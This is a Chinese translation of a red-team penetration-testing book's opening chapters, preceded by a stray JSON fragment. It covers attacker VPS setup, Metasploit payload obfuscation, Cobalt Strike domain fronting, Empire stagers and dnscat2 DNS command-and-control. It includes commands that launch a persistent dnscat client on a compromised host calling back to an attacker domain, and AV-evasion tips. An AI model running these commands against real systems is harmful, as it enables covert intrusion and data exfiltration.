"Weight": 1 }gpoadmins{ "Computer": "PRIMARY.TESTLAB.LOCAL", "Name": "DOMAIN [email protected]", "Type": "group" }
-
[译] 渗透测试实战第三版(红队版)
第1章 赛前准备——安装 译者:@Snowming 作为红队人员,我们通常不太关注某次攻击的目的(更关注的是攻击手法)。相反,我们想从那些高级威胁组织的 TTP(Tactics、Techniques & Procedures)中学到更多。举个例子,这是一个来自于火眼(FireEye)公司的公开的威胁情报分析报告。从报告中,我们可以看到:这个威胁组织使用推特作为 C2 服务器,也使用了 github 作为存储加密图片和经过信息隐写文件的仓库。 我们可以参考此报告,根据攻击手法的特点来针对性的做出合适的防御方案,来看你的公司是否能发现并拦截这种攻击。 让我们对 APT 攻击做一些基本的介绍。由 MITRE 公司提出的 ATT&CK 矩阵( Adversarial Tactics, Techniques, and Common Knowledge matrix ) 是对 APT 攻击的详细分解。这个矩阵中是一个在各种攻击场景中使用的不同 TTP 的大集合。 商用 ATT&CK 矩阵 - Windows版 译者注: 上面的矩阵仅仅包扩适用于 Windows 平台的技术。完整的商用 Enterprise ATT&CK 矩阵也包括适用于 macOS 和 Linux 平台的技术。 矩阵中的内容严格复制自原书。只是因为原书图片分辨率太低,为了读者的阅读体验,特意重新作图。ATT&CK 矩阵至今没有中文翻译,因为译者才疏学浅,不敢献丑翻译,故保留英文。但是需要说明的是,书中列出的矩阵内容,跟 MITRE 公司官网给出的矩阵内容存在差异,可能是因为矩阵被重新修订了。故给出 Enterprise Matrix - Windows的官网地址 供读者参考。 另一个资源是 @cyb3rops 整理的 APT组织与方法持续更新列表。这个谷歌文件列举了世界多个国家的疑似 APT 组织及其使用的工具集。对于红队成员来说,我们可以参考此文档来模拟不同的攻击。当然,我们可能不会使用与文档中列举的相同的工具,但是我们可以构建类似的工具来做同样的攻击。 假定攻破练习 面对安全问题,企业的正确态度是从一开始就应该预设自己已经被攻破了。然而事实是,如今太多的公司认为通过一些所谓的安全配置或者年度渗透测试,它们是安全的。我们需要进入一种思维状态,我们总是蹲守,假设邪恶就潜伏在周围,我们需要时刻寻找异常。 这就是红队的活动与渗透测试有很大区别的地方。由于红队的活动重点是检测/给出措施而不是漏洞,所以我们可以做更多独特的评估。一种为客户提供巨大价值的评估利益被称为假定突破练习(assumed breach exercise)。在一个假定突破练习中,总会遇到一些 0-day。那么,客户端能否识别和减轻第二阶段和第三阶段步骤的影响呢? 在这些场景中,红队与公司内部的有限团队一起工作,在他们的服务器上执行一个定制的恶意软件 payload。这个 payload 应该尝试以多种方式连接,确保绕过常见的AV,并允许额外的 payload 从内存中执行。我们将在整本书提供一些 payload 的实例。一旦最初的 payload 被执行,所有的乐趣就从这里开始了! 设定你的行动 这是红队活动中我最喜欢的一部分。在进攻你的第一个系统之前,你需要确定你的红队活动范围。在很多渗透测试中,你会得到一个目标,然后不断地尝试进入那个单一的系统。如果某件事情失败了,你就继续做下一件事。没有脚本,你通常非常专注这个网络。 在红队活动中,我们从几个目标开始。这些目标可以包括但不限于: 最终的目标是什么?只是 APT 检测吗?是要在服务器上获取标志吗?是从数据库中获取数据吗?或者只是为了得到检测时效(TTD)指标? 是否有我们想要复制的公开活动? 你会用什么技巧?我们讨论过用 MITRE ATT&CK 矩阵,但是在每个类别中确切的技术是什么? 红金丝雀研究小组提供了每一种技术的详细信息。我强烈建议你花点时间来查看这些详细信息。 客户希望你使用什么工具?是一些诸如 Metasploit、Cobalt Strike、DNS Cat 这样的商业攻击工具软件?还是自制的定制化工具? 一个好消息是被抓住也是评估的一部分。有一些入侵中我们会被抓4到5次,然后在4到5个不同的环境中被消灭。这确实向你的客户表明,他们的防御如他们预期的一样在起作用(或没有起作用)。在书的最后,我将提供一些报告示例,说明我们如何获取指标并报告这些数据。 设置你的外部服务器 我们使用许多不同的服务来建立我们的红队活动。在当今这个充斥着 VPS的世界里,在互联网上抵抗攻击者的机器不会超出你的预算。例如,我通常使用 Digital Ocean 公司的 Droplets 计算服务或 AWS 的 Lightsail 服务器来配置我的 VPS 服务器。我使用这些服务的原因是它们通常成本很低(有时是免费的),可以选择 Ubuntu 系统的服务器,并且可以根据需要选择购买不同区域的服务器。最重要的是,它们非常容易设置。在几分钟内,你就可以设置并运行多个服务器的 Metasploit 和 Empire 服务。 在本书中,我将重点介绍 AWS 的 Lightsail 服务器,因为它易于设置、能够自动化服务,以及通常流向 AWS 的流量。在你成功创建了一个你喜欢的镜像后,你可以快速地将该镜像克隆到多个服务器,这使得构建现成的 C2(Command and Control) box 非常容易。 同样,你应该确保遵守 VPS 提供者的服务条款,这样你就不会陷入任何问题。 下面是操作要点: https://lightsail.aws.amazon.com/ 创建一个实例 我强烈建议至少使用1gb内存 硬盘大小一般不会有什么问题,可以随意选择 Linux/Unix 操作系统只选 -> Ubuntu 下载 Cert(证书) chmod 600 cert(译者注:只有拥有者有读写权限) ssh -i cert ubuntu@[ip] 搭建服务器的一个快速方法是集成 TrustedSec 公司的渗透测试框架 (PTF)。PTF 框架是一些脚本的合集,可以为你做大量的艰苦工作并为其他所有内容创建了一个框架。让我们通过一个快速示例来安装我们所有的漏洞利用模块,信息收集模块,后渗透利用模块,PowerShell 攻击模块和漏洞分析工具: sudo su - apt-get update apt-get install python git clone https://github.com/trustedsec/ptf /opt/ptf cd /opt/ptf && ./ptf use modules/exploitation/install_update_all use modules/intelligence-gathering/install_update_all use modules/post-exploitation/install_update_all use modules/powershell/install_update_all use modules/vulnerability-analysis/install_update_all cd /pentest 下图显示了所有的可用模块,其中一些模块是我们自己安装的。 图: 所有可用模块的列表 如果我们查看我们的攻击者 VPS,就可以看到安装在我们的机器上的所有工具。如果我们想要启动 Metasploit,我们可以输入:msfconsole。 图: 安装在 /pentest 文件夹下的所有工具 我仍然建议建立强大的 IPTables 规则。因为这将是你的攻击服务器,所以最好限制 SSH 身份验证可以从何处发起, Empire/Meterpreter/Cobalt Strike的 payload 可以从何处发起,以及你所支持的任何钓鱼页面。 如果你还记得在2016年末,有人发现了未经身份验证的远程代码执行(RCE) ( https://blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-active-exploitation-reported/ )。你肯定不希望客户数据受到攻击服务器的损害。 我曾经看到一些红队在 AWS 中,使用 Docker 运行 Kali Linux (或者至少是 Metasploit) (参考: http://bit.ly/2qz2vN9 )。在我看来,虽然创建你自己的系统怎么样都可以。但是更好的选择是创建一个高效且可重复的流程来部署多台机器。使用 Lightsail 的 最大好处是一旦你将你的机器配置为你的首选项,你就可以对一台机器进行快照,并部署使用该镜像的多个全新实例。 如果你想让你的环境更上一层楼,看看 Coalfire 研究所的团队。他们构建了自定义模块来为你完成所有的艰苦工作和自动化。Red Baron 是 Terraform 的一组模块和自定义/第三方提供者,它可以为红队自动创建弹性、一次性、安全和灵活的基础设施。无论你想要构建一个钓鱼服务器,Cobalt Strike 基础设施,或创建 DNS C2 服务器,你都可以用 Terraform 做到这一切。 查看 https://github.com/Coalfire-Research/Red-Baron 并查看所有不同的模块以便快速构建你自己的基础架构。 红队的核心工具 红队可能会使用很多工具,但是让我们来讨论些最核心的工具。请记住,作为一个红队成员,我们的目的不是破坏环境(虽然这是最有趣的),而是要复制现实世界的攻击,以查看客户是否受到保护,并可以在很短的时间内检测到攻击。在前面的章节中,我们了解了如何从其他 APT 组织那里复制攻击者的概要文件和工具集,所以让我们回顾一下一些最常见的红队工具。 Metasploit 框架 本书不会像前几本书那样深入探讨 Metasploit。尽管 Metasploit 框架最初是从 2003 年开发的,但它现在仍然是一个非常棒的工具。这是由于最初的开发者 H.D. Moore 和非常活跃的社区为它提供持续支持。这个社区驱动的框架,似乎每天更新,拥有所有最新的公开漏洞的利用、后渗透利用模块、辅助模块等等。 对于红队项目,我们可能使用 Metasploit 通过MS17-010永恒之蓝漏洞危害内部系统,以获得我们的第一个内网 shell,或者我们可能使用 Metasploit 为我们的社会工程攻击生成一个 Meterpreter payload。 在后面的章节中,我将向你展示如何重新编译你的 Metasploit payload 并绕过杀毒软件和网络监控。 混淆 Meterpreter 的 Payload 如果我们正在针对目标进行一些社工尝试,我们可能会使用 Word 或 Excel 文档作为我们的 payload(攻击载荷)的载体。 但是,一个潜在的问题是我们可能无法包含 Meterpreter 的 payload 的二进制文件或让目标机器从 Web 下载我们的 payload,因为这些操作可能会触发目标机器中的杀毒软件的警报。 所以,这里给出一个简单的解决方案,使用 PowerShell 进行模糊处理: msfvenom -payload windows/x64/meterpreter_reverse_http -format psh -out meterpreter-64.ps1 LHOST=127.0.0.1 我们甚至可以将混淆提升到新的水平,并使用 Unicorn 等工具生成更多模糊的基于 PowerShell 的 Meterpreter payload,我们将在本书中详细介绍这些混淆器。 此外,使用受信任的机构签发的 SSL/TLS 证书可以帮助我们绕过某些网络中的 IDS(入侵检测系统),具体可以参考以下链接实现:Meterpreter Paranoid Mode。 最后,在本书的后面部分,我们将讨论如何重新编译利用 Metasploit/Meterpreter 来绕过基于主机和网络的检测工具。 Cobalt Strike Cobalt Strike 是迄今为止我最喜欢的红队模拟工具之一。什么是 Cobalt Strike 呢?它是一种用来后期持久渗透,横向移动,流量隐藏、数据窃取的工具。 Cobalt Strike 并没有直接的漏洞利用,也没有通过最新的 0-Day 漏洞来破坏系统。当你已经在服务器上执行了 CS 的恶意代码或者将 CS 用作网络钓鱼活动的一部分时,你就能感受到 CS 的功能是多么广泛并且强大。 一旦你可以在机器上执行 Cobalt Strike 的 payload,它创建一个 Beacon(远控木马功能)连接回连到 C2 服务器(teamserver)。 新的 Cobalt Strike 许可证的费用为3500美元(单用户一年),所以它并不是一个便宜工具。 不过该软件有免费的限量试用版。 Cobalt Strike 基础设施 正如上文所述,在基础设施方面,我们希望设置这样一个可重用且高度灵活的环境。Cobalt Strike 支持重定向,当你的 Cobalt Strike 使用的 C2 域名被销毁了,你不需要创建并启用一个新的环境,只需要替换一个新的 C2 域名。你可以在这里找到更多的使用 socat 配置这些重定向器的信息:链接1 & 链接2 为了使你更好的重定向,我们可以使用域名前置(域名幌子)。域名前置是使用其他的域名和基础设施的技术作为控制器重定向的技术集合(参考链接)。这可以通过使用流行的内容分发网络(CDNs)来实现,如亚马逊云的 CloudFront 或其他的 Google Hosts 来隐蔽我们的流量源。这在过去曾被不同的攻击者所利用过(参考链接)。 通过使用这些高信誉域名,无论 HTTP 或 HTTPS 的任何流量,看起来都像是它正在与这些域通信,而不是与我们的恶意 C2 服务器通信。这一切是如何运作的?用一个比较抽象的例子来说,你的所有流量将被发送到 CloudFront 的一个主要完全限定域名(FQDNs),例如 a0.awsstatic.com,它是 CloudFront 的主要域名。修改请求中的主机 header 将把所有流量重定向到我们的 CloudFront 分发(CloudFront distribution),后者最终会将流量转发到我们的 Cobalt Strike C2服务器上(参考链接)。 通过更改 HTTP 主机的 header,CDN 将很轻松的的的地把流量传输回到正确的服务器。红队一直使用这种技术通过使用高信誉域名来隐藏 C2 服务器的流量。 另外两个支持域名前置的两个不同公司的优秀资源: CyberArk 还写了一篇很好的博客文章,在文章里他介绍了如何使用谷歌的应用产品来使你的流量看起来是流经了 www.google.com, mail.google.com 或者 docs.google.com. Vincent Yiu 写了一篇关于如何使用阿里巴巴 CDN 来支持自己的域名前置攻击的文章。 Cobalt Strike 不是唯一可以支持域名前置的工具,也可以通过 Meterpreter 来完成(参考链接)。 注:在本书出版时,AWS(甚至谷歌云)已经启动实现对域名前置的保护( https://amzn.to/2I6lSry )。这并不能阻止这种类型的攻击,只是需要不同的第三方资源来进行利用。 尽管不是基础架构的一部分,但是我们还是应该要理解 beacon 是如何在内部环境中工作的。在操作安全方面,我们应该避免建立会被轻易发现并清除的持久连接。作为一名红队成员,我们必须假设我们的一些客户端是会被蓝队发现的。如果我们让所有的主机都与一个或两个 C2 服务器通信,蓝队很容易就可以把整个基础设施连根拔除。幸运的是,Cobalt Strike 支持内网主机之间使用基于 SMB 的 Beacon 来进行交互。这允许你让一台受感染的计算机与你的 C2 服务器进行正常且合适的 beacon 连接,并使内部网络上的所有其他的服务器通过 SMB 协议与最初受感染的主机进行通信。采用这种连接方式,当蓝队检测到一个二级系统有问题并进行取证分析,他们可能会无法识别与这次攻击相关的 C2 服务器域名。 Cobalt Strike 可以操纵你的 Beacon 通信,这对红队成员来说是一个非常有用的特性。使用自定义 C2 配置文件,你可以让所有来自受感染主机系统的流量看起来和普通流量无异。现在我们会发现越来越多的内网环境中会针对第7层网络应用层进行过滤。很多时候蓝队在这层中找寻那些网络通信中的异常流量,那么我们怎样才能让我们的C2通信变得如同正常的 Web 流量呢?这就是可定制 C2 配置文件发挥作用的地方。看看这个例子。阅读这个例子,你会看到一些显而易见的信息: 我们可以看出这将会产生带有URI路径的HTTP请求: set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”; 主机 header 设置为 Amazon: header “Host” “www.amazon.com”; 甚至一些自定义服务器的 header 也从 C2 服务器发回: header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”; header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2t 现在很多红队已经在许多不同的活动中使用了这些配置文件,许多安全厂商已经给所有常见的自定义配置文件创建了指纹签名。为了解决这个问题,我们能做的是: 确保修改了配置文件中的所有静态字符串,确保更改了所有 User-Agent 信息,使用真实的证书配置 SSL(不要使用 Cobalt Strike 默认的 SSL 证书),调整抖动率,并更改客户端的的 beacon 时间。 最后一个注意事项是确保通过 POST(http-post)命令进行通信,因为如果不这样做可能会导致使用自定义配置文件时出现很多问题。 如果你的配置文件注明了通过 http-get 进行通信,它仍然有效,但上传大文件将一直被限制。 请记住,GET 请求通常限制在2048个字符以内。 SpectorOps 安全团队还创建了可定制混淆 C2 配置文件的项目. 译者注: 这个脚本可以将 Cobalt Strike 的配置文件进行混淆来绕过一些基于签名检测的软件,其原理是将变量替换为提供的字典中的随机字符串,然后输出新的 Malleable C2 配置文件。 Cobalt Strike 的 Aggressor 脚本 Cobalt Strike 项目有很多贡献者。Aggressor 脚本是一种面向红队操作和对手模拟的脚本语言,其灵感来源于可脚本化的 IRC 客户端和机器人。开发它的目的有两个: 你可以创建长时间运行的机器人来模拟虚拟红队成员,并与你并肩进行黑客攻击 你还可以根据你的需要使用它来扩展和修改 Cobalt Strike 客户端的功能 官方介绍页面:https://www.cobaltstrike.com/aggressor-script/index.html 例子:HarleyQu1nn 将不同的 Aggressor 脚本放在一个项目中提供给你用于后续漏洞利用: http://bit.ly/2qxIwPE PowerShell Empire Empire 是一个后期漏洞利用的框架,包含一个纯 PowerShell2.0 的 Windows 代理和一个纯 Python 2.6/2.7 的 Linux/OS X 代理。它是以前的 PowerShell Empire 和 Python EmPyre 项目的合并。 该框架提供了加密安全通信和灵活的架构。在 PowerShell 方面,Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理的功能。并且 Empire 有很多可以快速部署的后期漏洞利用模块,从键盘记录器到 Mimikatz。Empire 还可以调整通信,躲避网络检测。所有的这些功能都封装在一个以实用性为重点的 框架中。 对于红队人员来说,PowerShell 是我们最好的朋友之一。在初始化有效 payload 之后,所有随后的攻击都保存在内存中。Empire 最好的地方就是它被开发者积极地维护和更新中,以便你可以使用最新的后期漏洞利用模块进行攻击。 它们还具有适用于 Linux 和 OS X 的 C2 连接。因此,你仍然可以创建基于 MAC 的 Office 宏,当执行之后,在 Empire 中拥有一个全新的代理。 我们将通过本书更详细地介绍 Empire,以便你了解它的威力如何。在设置 Empire 方面,确保你已安全地配置它非常重要: 将证书路径 CertPath 设置为一个真实可信的 SSL 证书。 更改 DefaultProfile 端点。许多第7层防火墙都在寻找确切的静态端点。 更改用于通信的用户代理。 在前两版书中我们提过,Metasploit 的源文件用于自动化,Empire 现在也支持自动运行的脚本,这样可以提高效率。 运行 Empire: 初始化 Empire cd /opt/Empire && ./setup/reset.sh 退出 exit 安装证书(最好是使用真实受信任的证书) ./setup/cert.sh 开始运行 Empire ./empire 创建一个监听器 listeners 选择你的监听器类型(我们实验使用的是 HTTP) uselistener [按两次 tab 键来查阅所有类型的监听器] uselistener http 查看监听器的全部配置信息 info 设置以下内容(即设置KillDate 12/12/2020) KillDate - 规定一个结束时间然后自动清理代理 DefaultProfile - 确保更改所有端点(即/admin/get.php,/news.php)。你可以根据需要制作它们,例如/seriously/notmalware.php DefaultProfile - 确保也更改你的用户代理。 我一般是查看使用过的顶级用户代理并选择从中选择一个。 Host - 更改为通过端口443的 HTTPS CertPath - 添加 SSL 证书的路径 UserAgent - 将其更改为你的常用用户代理 Port - 设置为443 ServerVersion - 将其更改为另一个常见的服务器 Header 当你完成所有这些,开启你的监听器 execute 配置 Payload payload 是将在受害者系统上运行的实际恶意软件。 这些 payload 可以在 Windows,Linux 和 OSX 中运行,但 Empire 以其基于 PowerShell Windows 的 Payload 而闻名: 进入主菜单 main 为 OSX,Windows,Linux 创建可用的 stager。 我们将创建一个简单的 bat 文件作为示例,但实际上你可以为 Office 文件创建宏或者为一个 USB 橡皮鸭创建 payload(译者注: USB 橡皮鸭/USB RUBBER DUCKY 是最早的按键注入工具) usestager [按两次tab键来查阅所有不同的类型] usestager windows/launcher_bat 查看所有设置 info 配置所有 Settings http 把 Listener 设置为 http 配置 UserAgent(用户代理) 创建 Payload generate 在另一个终端窗口中查看你的 payload cat /tmp/launcher.bat 如你所见,创建的 payload 被严重混淆。 你现在可以把这个 .bat 文件丢到任何 Windows 系统上。 当然,你可能会创建一个 Office 宏文件或一个USB橡皮鸭(注:USB RUBBER DUCKY/USB 橡皮鸭是最早的按键注入工具)的 payload,但这只是众多示例中的一个。 如果你尚未在 Kali 图形界面上安装 PowerShell,那么最好的方法是手动安装它。 在 Kali 上安装 PowerShell: apt-get install libunwind8 wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_6.0.2-1.ubuntu.16.04_amd64.deb dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb dnscat2 内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2 就是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具,所以说这种隧道几乎在每个网络中都可以使用。dnscat2 由客户端和服务端两部分组成。 基于 DNS 的 C2 服务器连接的渗透方案提供了一种很好的机制来隐藏你的流量,规避网络传感器并绕过网络限制。在许多限制性环境或生产环境中,我们遇到的网络要么直接不允许出站流量,要么流量也会被严格的限制或监控。为了绕过这些保护,我们可以使用像 dnscat2 这样的工具。我们关注 dnscat2 的原因是因为它不需要 root权限就允许shell访问和数据传输。 在许多安全环境中,直接使用 UDP 或 TCP 出站会受到限制。 为什么不利用基础架构中已经内置的服务呢?许多受保护的网络包含一个 DNS 服务器来解析内部主机,同时还允许解析外部资源。通过为我们拥有的恶意域名设置一个权威服务器,我们可以利用这些 DNS 解析来对我们的恶意软件进行命令执行和控制。 在我们的场景中,我们将设置名为 “loca1host.com” 的攻击者域。 我们希望通过对 “localhost” 创建“分身”来更多地隐藏我们的流量。请你自行将 “loca1host.com” 替换为你拥有的域名。我们将配置 loca1host.com 的 DNS 信息,使其成为一个权威 DNS 服务器(Authoritative DNS server)。 在这个例子中,我们将使用 GoDaddy 的 DNS 配置工具,但你也可以换成任何其他的 DNS 服务。 使用GoDaddy设置一个权威DNS服务器 首先,确保将一台 VPS 服务器设置为你的 C2 攻击服务器并获取了该服务器的 IP。 在 GoDaddy 网站购买域名后,登录你的 GoDaddy(或其他类似的)帐户。 选择你的域,单击“管理”,然后选择“高级 DNS”。 先设置两条 A 记录指向你的 VPS 的 IP ns1 (然后输入你的VPS的IP) ns2 (然后输入你的VPS的IP) 然后设置自定义 NS 记录 添加 ns1.loca1host.com 添加 ns2.loca1host.com 如上图所示,我们现在让我们的 NS 记录指向 ns1.loca1host.com 和 ns2.loca1host.com,它们都指向我们的攻击 VPS 服务器的 IP。 如果你尝试解析 loca1host.com 的任何子域(即 vpn.loca1host.com),它将尝试使用我们的 VPS 进行相关的域名解析。对我们来说幸运的是,dnscat2 在 UDP 端口53上监听并为我们做了所有繁重的工作。 接下来,我们将需要完全设置充当我们的自定义域名解析服务器的攻击服务器。初始化并设置 dnscat2 服务器: sudo su - apt-get update apt-get install ruby-dev git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ apt-get install gcc make gem install bundler bundle install 请测试确认以下脚本能够正常运行: ruby ./dnscat2.rb 备注: 如果你使用的是 Amazon Lightsail,请确保安全组设置中允许 UDP 端口53 对于客户端的代码,我们需要将其编译为 Linux 支持执行的二进制文件。 编译客户端 git clone https://github.com/iagox86/dnscat2.git /opt/dnscat2/client cd /opt/dnscat2/client/ make 我们现在应该创建一个 dnscat 二进制文件! (如果你在 windows 环境下编译,需要将 client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” ) 现在我们已经配置好了权威 DNS,我们的攻击服务器作为一个 DNS 服务器正在运行 dnscat2,并且我们已经编译了恶意软件。我们已经准备好在目标机器中执行我们的 payload。 在开始之前,我们需要在攻击服务器上启动 dnscat2。要启用多个配置,其中的主要配置是配置那个 -secret 标志来确保我们在 DNS 请求中的通信是加密的。另外,一定要更换我上面用于演示的 loca1host.com 域名,使用你自己拥有的域名并创建随机密钥字符串。 在你的攻击服务器中启用 dnscat2: screen ruby ./dnscat2.rb loca1host.com —secret 39dfj3hdsfajh37e8c902j 假设你在易受攻击的服务器上有某种 RCE(远程命令执行漏洞)。 你可以运行 shell 命令并上传我们的 dnscat payload。执行 payload: ./dnscat loca1host.com —secret 39dfj3hdsfajh37e8c902j 这将在目标机器中启动 dnscat,域名查询使用了我们自定义的的权威服务器,从而创建我们的 C2 通道。 我留意到一件事是有时 dnscat2 进程会莫名其妙挂掉。这可能来自大型文件传输或者只是程序崩了。为了规避这些类型的问题,我想确认我的 dnscat payload 有返回。为此,我通常喜欢使用快速 bash 脚本启动我的 dnscat payload: nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com -secret 9dfj3hdsfajh37e8c902j -max-retransmits 5; sleep 3600; done” > /dev/null 2>&1 & 这将确保如果客户端 payload 进程因任何原因而挂掉了,它将每小时生成一个新的实例。有时你只有一次机会来运行你的 payload,那么你需要让程序自己计数! 最后,如果你要在 Windows 上跑这个 payload,你可以编译使用 dnscat2 payload......或者,为什么不在 PowerShell 中执行此操作呢?! Luke Baggett 写了一个关于 dnscat 客户端的 PowerShell 版本->点此查看。 dnscat2的连接 在我们的 payload 执行并连接回我们的攻击服务器之后,我们应该看到类似于下面的一个新的ENCRYPTED AND VERIFIED消息。通过输入 “window”,dnscat2 将显示所有会话。现在,我们有一个名为“1”的单行命令会话。 我们可以通过与我们的命令会话交互来生成终端样式 shell: 与我们的第一个命令会话进行交互 window -i 1 启动shell会话 shell 回到主会话 Ctrl-z 与 2 会话进行交互 window -i 2 现在,你应该能够运行所有 shell 命令(例如 ls) 虽然这不是最快的shell,但由于所有通信都是通过 DNS 进行的,因此它确实可以在一些 Meterpreter 或类似 shell 无法正常工作的情境下生效。 dnscat2 更好的地方是它完全支持搭建隧道。这样,如果我们想要使用来自我们的主机系统的漏洞利用模块,我们可以通过隧道和浏览器来访问其内部网站,甚至是 SSH 连接到另外的机器中,这一切都是可能的。 dnscat2 隧道 我们有很多时候想要将来自攻击服务器的流量通过我们的受感染主机传递到其他内部服务器。使用 dnscat2 执行此操作的最安全方法是通过本地端口转发我们的流量,然后将流量通过隧道传输到内部网络上的其他机器上。我们可以通过命令会话中的以下命令来完成此示例: listen 127.0.0.1:9999 10.100.100.1:22 创建隧道后,我们可以返回攻击计算机上的根终端窗口,通过本地的 9999 端口使用 SSH 连接到 localhost,然后成功连接到受害者网络上的内部系统并进行身份验证。 译者注:这里如果看不懂,可以看看这篇文章加深理解 -> 使用SSH反向隧道进行内网穿透 这将提供各种各样的乐趣和一个很好的测试,来看你的客户的网络是否可以主动检测大量 DNS 查询和溢出。那么,请求和响应是什么样子的呢? 使用 Wireshark 快速抓包发现:dnscat2 为许多不同的长子域创建了大量不同的 DNS 请求。 现在,你可能想要测试许多其他的协议。例如,Nishang 有一个基于 PowerShell 的 ICMP Shell( http://bit.ly/2GXhdnZ ),它使用 https://github.com/inquisb/icmpsh 作为 C2 服务器。 还有其他 ICMP shell,如: https://github.com/jamesbarlow/icmptunnel https://github.com/DhavalKapil/icmptunnel http://code.gerade.org/hans/ p0wnedShell 正如 p0wnedShell 的 Github 页面所述,这个工具是“用 C# 编写的进攻型 PowerShell 主机应用程序,它不依赖于 powershell.exe,而是在 powershell 运行空间环境(.NET)中运行 powershell 命令和函数。它包含了大量的 PowerShell 攻击模块和二进制文件,使后期利用过程变得更加容易。我们尝试的是建立一个‘一体化’的后渗透利用工具,我们可以使用它来绕过所有保护措施(至少是其中一些),p0wnedShell 中包含了所有的相关工具。你可以利用 p0wnedShell 来在活动目录环境中执行现代化的攻击,并在你的蓝队中创建意识,以帮助他们构建正确的防御策略。” Pupy Shell Pupy 是“一个开源,跨平台(Windows,Linux,OSX,Android)的远程管理和后渗透利用工具,主要用python编写”。 Pupy 的一个非常棒的功能是,你可以在所有代理上运行 Python,而无需在所有主机上实际安装 Python。 因此,如果你尝试在自定义框架中编写大量攻击脚本,Pupy就是一个很合适的工具。 PoshC2 PoshC2 是一个代理感知型 C2 框架,完全用 PowerShell 编写,以帮助渗透测试人员进行红队合作,后渗透利用和横向移动。这些工具和模块是基于我们成功的 PowerShell 会话和 Metasploit 框架的 payload 类型的汇总。PowerShell 被选为基本语言,因为它提供了所需的所有功能和丰富的拓展特性,而无需向框架引入多种语言。 Merlin Merlin 利用最近开发的名为 HTTP/2 (RFC7540) 的协议。 “HTTP/2 的通信是多路复用的双向连接,在一个请求和响应之后不会结束。 此外,HTTP/2 是一种二进制协议,因此它紧凑、易于解析,并且如果不借助解释器的话人是几乎读不懂的”(Russel Van Tuyl 2017)。 注: 此句话出处为: Russel Van Tuyl, "Merlin - 跨平台后持续利用 HTTP/2 C2 工具", Medium[Online], 发表于2017年12月19日, 可获取地址: https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a 检索于 2019 年 2 月 27 日 Merlin 是一个用 GO 编写的工具,外观和感觉类似于 PowerShell Empire,并且允许使用轻量级代理。它不支持任何类型的后渗透利用模块,因此你必须自己完成模块的开发。 Nishang Nishang 是一个脚本和 payload 的框架和集合,可以使用 PowerShell 进行进攻型安全测试,渗透测试和红队测试。 Nishang 在渗透测试的所有阶段都很有用。 虽然 Nishang 实际上是一系列令人惊叹的 PowerShell 脚本的集合,但也包含一些轻量级的 C2 脚本。 本章总结 现在你终于准备开战。你并非像刚开始那样手无寸铁了,你有这些工具和配置过的服务器。好的准备将帮助你绕过包括网络检测工具、网络协议被拦截、基于主机的安全工具在内的任何障碍。 对于本书中的实验,我创建了基于 Kali Linux 的添加了所有工具的完整版虚拟机 -> 点此获取 。在 The Hacking Playbook 的存档中,有一个名为 List_of_Tools.txt 的文本文件,里面列出了所有添加的工具。虚拟机的默认用户名/密码是 root/toor。 第2章 发球前——红队侦察 在 The Hacking Playbook 2 中,前面的发球部分重点介绍了一些不同的工具,如 Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP Screenshot、漏洞扫描器(包括 nessus,openvas)、Burp 套件等。这些工具我们可以在外网或内网络使用,对目标的基础设施进行侦察或扫描。在本书中我们将延续这一做法,然后从红队的角度对侦察阶段进行拓展。 环境探测 对于红队来说,这往往是进攻的好时机。你不仅需要随时准备好去攻击基础设施,还需要不断地寻找它的漏洞。我们可以通过使用不同的工具来进行环境扫描、服务探测、检索云计算配置错误。这些活动有助于你收集有关目标基础设施的更多信息,并找到攻击的最好方法。 扫描结果差异化分析 对于所有客户机,我们要做的第一件事就是设置不同的监视脚本。这些通常只是一些能快速完成的 bash 脚本,它们每天通过电子邮件向我们发送客户机网络的差异。当然,在扫描之前,确保你有适当合法的授权来执行扫描。 对于一般不太大的客户机网络,我们设置简单的 cronjob 来执行外部端口差异化分析。例如,我们可以创建一个快速的 Linux bash 脚本来完成这项艰巨的工作(请记住替换下面脚本中的 IP 范围): #!/bin/bash mkdir /opt/nmap_diff d=$(date +%Y-%m-%d) y=$(date -d yesterday +%Y-%m-%d) /usr/bin/nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 10.100.100.0/24 > /dev/null 2>&1 if [ -e /opt/nmap_diff/scan_$y.xml ]; then /usr/bin/ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml > /opt/nmap_diff/diff.txt fi 译者注:上面这段脚本中使用了正则表达式。所以本小节的英文名字叫 Regular Nmap Diffing。 这是一个非常简单的脚本,它每天用默认的端口运行 nmap,然后使用 ndiff 比较结果。然后,我们可以获取这个脚本的输出结果,并让它把每天发现的新端口及时通知我们的团队。 在上一本书中,我们着重讨论了 Masscan 的好处,以及它比 nmap 的速度快多少。Masscan 的开发者说,如果你的网络带宽足够大,你可以在6分钟内扫描完毕整个互联网。所以说,当扫描大的范围时,Masscan 是很可靠的。Masscan 对我们最初的侦察很有用,但通常不用于比较差异。 实验: 本书中的实验是选修的。在某些部分中,我添加了一些实验方便你进行测试或者扩展更多的领域。这都是基于读者的个人兴趣的,如果对某方面感兴趣,我强烈推荐你花时间改进我们的工具,并与社区共享它。 建立一个更好的网络 diff 扫描器: 构建一个比默认的 nmap 更好的端口列表(例如,nmap 默认的漏掉一些端口,比如 Redis 6379/6380 和其他端口) 实现 nmap banner 保持对端口的历史跟踪 